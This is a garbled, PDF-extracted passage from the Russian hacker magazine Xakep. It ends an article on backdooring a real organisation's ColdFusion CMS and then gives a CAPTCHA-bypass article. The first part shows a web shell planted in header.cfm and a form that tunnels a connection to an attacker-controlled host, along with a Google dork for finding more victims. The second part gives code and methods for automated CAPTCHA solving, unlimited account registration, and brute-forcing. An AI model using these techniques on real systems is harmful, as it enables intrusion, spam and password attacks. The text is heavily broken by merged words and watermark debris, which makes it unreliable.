наикрутейшийColdFusion-шеллбылнемногомодифицирован дляисполнениякомандыподключениябезучастиячеловека. КодмодификациишелласмотринанашемDVD.

Кусоккодабылзаныканвфайлheader.cfm, который, всвою очередь, подключаетсякбольшинствуфайловCMS. Далее создаемпростуюформу, указывающуюналюбой*.cfm-файл насерваке, иполучаемпростойспособорганизацииRDP.

<form action="http://www.ism.ws/about/ MediaRoom/RequestForm.cfm» method="POST"> <table>

<tr><td>IP-адрес узла для туннелирования:</ td><td><input type="text" size="20" name="ip" value="m0r0superdedik.com»></input></td></tr> <tr><td>Порт SSH:</td><td><input type="text" size="20" name="port" value="22"></input></ td></tr>

<tr><td>Имя пользователя:</td><td><input type="text" size="20" name="login" value="st"></input></td></tr> <tr><td>Пароль:</td><td><input type="text" size="20" name="password" value="password"></ input></td></tr>

<tr><td></td><td><input type="submit" value="GO!"></td></td>

</table>

</form>

ЭПИЛОГ, ИЛИВСЕ ТОЛЬКОНАЧИНАЕТСЯ

КогдабылнайденсайтразработчикаCMS, рукигорелипроверитьегонапрочность. ОшибкавCMS быланатомжеместе. ВоттолькотаблицаSM_Sites содержалаоднуединственную пустуюзапись, имечтыобFTP неосуществились. Пароли былизашифрованы, и, судяповсему, темсамымзловещим iMIS (длина120 бит). Возитьсябылоуженеохота, такчтомы решилиоставитьэтотебе. Нуачтобыбылстимул, вбейвGoogle inurl:navItemNumber — 12000записейбудутманитьтебяи вдохновлятьнаподвиги. Доводи любое дело до конца, каким бы нереальным это ни казалось, иначе любое твое начинание лишено смысла. Все описанные действия совершены под музыку Брамса (спасибо «_xCort_» с torrents.ru). Перефразируя слова бессменного ведущего программы «Дым под водой» Кирилла Немоляева: «Слушайте классику и будьте счастливы!». z

052

XÀÊÅÐ 06 /126/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

 

 

 

 

 

 

w Click

to

 

 

 

взлом

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

S4AVRD0W

/ S4AVRD0W@P0C.RU /

ПОДСМОТРИМ ИРАСПОЗНАЕМ

ВЗЛОМCAPTCHA-ФИЛЬТРОВ

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

d

f

-x cha

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

>> взлом

Фильтрыcaptcha получилиширокоераспространениеиповсемест- ноиспользуютсявмногочисленныхинтернет-сервисах. Ноневсе captcha-фильтрыодинаковыполезны. Многиеизсуществующихреализацийсебянеоправдывают, алишьраздражаютсвоимприсутствиемобычныхпользователей. Онедостаткахпримененияcaptcha-филь- тровипойдетречь.

CAPTCHA (Completely Automated Public Turing

интеллектаифилософии, авнашевремяеще

Условновсеспособыможноразделитьна

test to tell Computers and Humans Apart, впро-

инашлаприменениевборьбесавтоматизи-

уязвимостивреализацииифундаментальные

стонародье— «капча») — полностьюавтомати-

рованнымпрограммнымобеспечением.

недостаткисамойконцепцииприменения

зированныйпубличныйтестТьюрингадляоп-

Внаиболеераспространенномварианте

captcha-фильтров. Куязвимостямреализации

ределениякомпьютеровилюдей. Восновном

использованияcaptcha-фильтровтребуется

относятсяследующиераспространенные

используется, когданеобходимопредотвратить

ввестисимволы, какправило, изображен-

проблемы.

выполнениекаких-либоавтоматизированных

ныенапредлагаемомрисункевискаженном

1. Автоматизированноераспознавание. Ав-

действийвотношенииинтернет-сервисов,

видеиобычно— сдобавлениемнекоторого

томатизированноераспознаваниекапчиили

вчастности, дляпредотвращенияавтомати-

«шума». Могуттакжеприменятьсядругие

задачаOCR (оптическоераспознаваниесим-

ческихотправоксообщений, регистраций,

плохоалгоритмизуемыезадачи, основанные

волов) — этооднаизсамыхострыхпроблем

проведенияатактипаподборпароляит.п.

налогикемышлениячеловека, например:

примененияcaptcha-фильтров. Деловтом,

ПонятиеТестаТьюрингабыловведеноАланом

указать, чтоизображенонакартинке; ввести

чтовомногихслучаяхсуществуетвозмож-

М. Тьюрингом(1912-1954) вработе«Играв

всесимволы, которыесоприкасаютсясчем-то

ностьавтоматизированногораспознавания

имитацию». Задачатакоготеста— опреде-

(вспоминайкошекнаrapidshare) ипр. Как

текста, нанесенногонаизображение. Тотже

лить, обладаетликомпьютернаяпрограмма

альтернативакартинкаммогутприменяться

Adobe Fine Reader суспехомможетраспоз-

интеллектомили, точнее, можетлионавы-

капчи, основанныенараспознаванииречи.

наватьслабыереализацииcaptcha (смотри

даватьсебязачеловека. КритерийТьюринга

Встречаютсятакжекапчи, гдепредлагается

скриншоты). Различногородаискаженияс

описанввидеигры«Имитация». Берется

ввестиответнапростоеарифметическое

добавлениемшумовнаизображениеспособ-

одинмужчина, однаженщинаипрограмма,

действие(90 + 72 = ?).

нылишьснекоторымпроцентомуспешности

которая, неимеяинформацииополовойпри-

ПРАКТИКА ОБХОДА

воспрепятствоватьэтому. Ведьчемболееис-

надлежностиучастников, задаетимвопросы.

каженаинформациянаизображениидлявво-

Еецель— определитьполлюдей. Несмотря

CAPTCHA-ФИЛЬТРОВ

да, тембольшепроблемвозникаетуконечного

накритикуэтойтеории, онавнеслабольшой

Сегодняизвестнодостаточномногоспособов

пользователя. Разработчикамфильтровпри-

вкладвразвитиесистемискусственного

обходаразличногородаcaptcha-фильтров.

ходитсянаходитьнекийкомпромиссмежду

054

XÀÊÅÐ 06 /126/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

>> взломw Click

 

BUY

 

 

w Click

to

 

 

 

 

 

m

to

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

максимальным

искажением информациии

способностьюпользователяпрочитатьиввестизначениеза

приемлемоеколичествопопыток.

На фоне подобного недостатка появилось несколько проектов по практической демонстрации задач OCR. Наиболее извес-

тные из них — это UC Berkeley Computer Vision Group, PWNtcha и CAPTCHA Killer.

Ваш покорный слуга, выполняя пентест одного банковского web-приложения, имел возможность познакомиться с последним более близко.

Проект CAPTCHA Killer заинтересовал, прежде всего, тем, что работа с ним основана на использовании API, и есть возможность легкого встраивания функции по автоматизированному взлому капчи в собственные приложения. На PHP это выглядит примерно так:

...

// передаем капчу на анализ $fields = array('api_key' => $api_key,'method' => 'upload_ captcha', 'captcha_url' => 'http://non/');

$files = array(array('name' => 'file','type' => 'image/

jpeg','file' => $hash.'.jpg')); $response = http_parse_ message(http_post_fields("http:// www.captchakiller.com/api.php", $fields, $files))->body;

...

// ждем результата анализа изображения

$fields = array('api_key' => $api_key,'method' => 'get_ result','captcha_id' => $captcha_ id);

$response = http_parse_ message(http_post_fields("http:// www.captchakiller.com/api.php", $fields, $files))->body;

...

Работас проектомпоказалавысокуюэффективность— порядка80% генерируемых изображенийбылораспознанобезупречно. Ограниченныйнаборгенерируемыхна изображенияхсимволов(использование тольковерхнегорегистра) позволилповысить эффективностьвектораатакиещена10%. Наанализодногоизображениятратилось

XÀÊÅÐ 06 /126/ 09

около20 секунд. Вподобныхусловияхна твердую«четверку» моготработатьвекторпо переборупаролейкаккаунтамисследуемой системы… еслибынеодно«но». Ограничения проектаCAPTCHA Killer непозволяютраспознаватьболее20 изображенийвсуткипри использованииодногоаккаунтавихсистеме. Ключевоесловотут— «одного». Насайтепроектасуществуетбаг, позволяющийрегистрироватьнеограниченноеколичествопользователей. Привсемуважениикпроекту(насайте дажебылозамеченоиспользованиезащиты отCSRF) авторынестализаморачиватьсяпо поводуразработкистойкойкапчи, апросто просятприрегистрацииновогопользователя сложитьдвачисла, которыепопадаютвсырой HTML-код. Длямоихцелейдостаточнобыло лишьсамоговектора, нотыможешьвоспользоватьсяэтимнедостатком, правда, думаю, багдовольнобыстроприкроют.

ЧтобыубедитьсявэффективностиOCR вполевыхусловиях, япровелнебольшоеисследованиевотношениитакихсервисов, какYandex

капчуосуществляетсяпутемсравнениястепенипохожестисимеющимисяэкземплярами. Илиболеепростойслучай— еслидлякартинок неиспользуютсяразличногородаискажения идобавлениешума. Тогдапростосверяются контрольныесуммы, истановитсяпонятно, с какимпарнокопытныммыимеемдело.

3.Уязвимостиприпередачезначениякапчи вбраузерпользователя. Какустанавлива-

етсясоответствиемеждузначениемкапчии генерируемойкартинкой? Многиеразработчики captcha-фильтровпочему-тополагают, что вместонекотороговнутреннегоидентификатора лучшепередаватьвбраузерпользователязависимоезначениеотгенерируемойкапчи(хешот генерируемогозначения). Ивпоследствииосуществлятьпроверкупоэтомузначению. Причем, поройпередачаосуществляетсяввидеоткрытоготекста(тоестьзначениекапчипередается, например, какзначениескрытогопараметра формы) илисуществуетвозможностьобратимого шифрованияпередаваемогозначения. Иногдареализуемыиболееизощренные

«ПРОЕКТCAPTCHAKILLERЗАИНТЕРЕСОВАЛТЕМ,ЧТОРАБОТАСНИМОСНОВАНА НАИСПОЛЬЗОВАНИИAPIИЕСТЬВОЗМОЖНОСТЬЛЕГКОГОВСТРАИВАНИЯФУНКЦИИ ПОАВТОМАТИЗИРОВАННОМУВЗЛОМУ КАПЧИВСОБСТВЕННЫЕПРИЛОЖЕНИЯ».

иGoogle. Всегенерируемыекапчинаресурсе Yandex распознаютсябезособыхусилий. Для Google векторатакипораспознаваниюкапчи выглядитменеевпечатляюще: удаетсяраспознатьтолько20% генерируемыхизображений.

Ноиэтогоболеечемдостаточно, например, для автоматическойрегистрацииновыхящиков электроннойпочты. Аеслиучесть, чтоработать можновнесколькопотоков... Другоедело, что притакойскоростиособонепобрутфорсишь, но, какговорится, невсежекотумасленица.

2.Ограниченноеколичествовариантовизоб-

ражений. Самыйяркийпример— этокапчис изображениямиразличнойживности. Недостатокподобногоподходакроетсявтом, что количествоизвестныхобычномуобывателю животных, птиципрочихсуществограничено, аэтопозволяетсформироватьбазувсех возможныхвариацийкартинок.

Эксплуатируетсявектордостаточнопросто. Сначаласобираютсякартинкисовсеми доступнымиизображениямиживотных. Ив зависимостиотреализациисистемы, атакана

атаки, направленныенаэксплуатациюподобноготипауязвимости. Дляпримеравозьмем следующийкод, скоторыммнедовелось встретитьсяприаудитеодногокрупного интернет-сервиса:

...

my $key = int (rand 10000); my @symbols = ('0'..'9'); for ( 1..5 ) {

$q .= $symbols[rand @symbols];

}

my $hash = sha1_hex( uc($q), $key );

...

Чтотутнетак? Ограниченныйнаборсимволовпригенерациикапчи, слабая«соль» (salt) и, какследствие— небольшаяэнтропия возможныхзначенийхеша. Ахеш, всвою очередь, передаетсявбраузерпользователя. Всеэтопозволяетсформироватьзаранее подготовленныетаблицысоответствияхеша

055

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

 

 

 

 

 

 

w Click

to

 

 

 

взлом

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ПРИМЕРЫУЯЗВИМЫХКАПЧДЛЯАВТОМАТИЗИРОВАННОГОРАСПОЗНАВАНИЯ

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

d

f

-x cha

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ПРИМЕРЫCAPTCHA, КОТОРЫЕБЫЛИРАСПОЗНАНЫ СОТРУДНИКАМИИНСТИТУТАБЕРКЛИ

кгенерируемомузначениюкапчи(rainbow tables). Сподобнымитаблицамилюбойзапрос captcha-фильтрауженебудетпрепятствием дляпрограммногобота, прогуливающегосяпо уязвимомуресурсу.

4.Возможностьповторногоиспользова-

ния. Этотипичнаяуязвимостьнетолькодля captcha-фильтров, ноидляweb-приложенийв целом. Уязвимостьвключаетвсебяследующиенедостатки:

Использованиеидентификаторасессиибез вводакапчи;

Повторноеиспользованиезначениякапчи. Эксплуатация первого недостатка заключается в том, что человеком вводится значение captcha при прохождении аутентификации

вприложении. После чего боту передается значение идентификатора сессии web-при- ложения (например, cookies). И когда приложением не осуществляется мониторинг действий авторизованного пользователя, бот сможет беспрепятственно выполнять свои функции.

Повторноеиспользованиезначениякапчи встречаетсявдвухслучаях. Впервом— не производитсяочисткаиспользованных значенийкапчи, введенныхпользователями. Достаточнополучитьодноверноезначение

РАСПОЗНАВАНИЕКАПЧИGOOGLE СРЕДСТВАМИCAPTCHA KILLER

ДАЖЕТАКИЕКАПЧИУЯЗВИМЫКOCR

капчииегоидентификатора— истановитсявозможнымбеспрепятственнообходить captcha-фильтр. Вовторомслучаепроблема возникает, когдадопускаетсядолгосрочное хранениесгенерированных, ноникемне использованныхзначенийcaptcha-фильтра, иприэтомотсутствуеткакая-либопривязкак идентификаторукапчиприпроверкеегозначения. Этопозволяетпроводитьвекторатаки типабрутфорс. Например, одинпотокосу-

ществляетбесконечныеобращениякмодулю генераторакапчи, авторой— осуществляет переборпопостоянномудиапазонузначений (вспоминайтеориювероятностиипоймешь, почемунадоиспользовать«постоянный» диапазонзначений). Вситуации, когданабор символовпригенерациизначениякапчи ограничен(используются, например, только цифры), векторатакиможетбытьдостаточно эффективным!

056

XÀÊÅÐ 06 /126/ 09

Соседние файлы в папке журнал хакер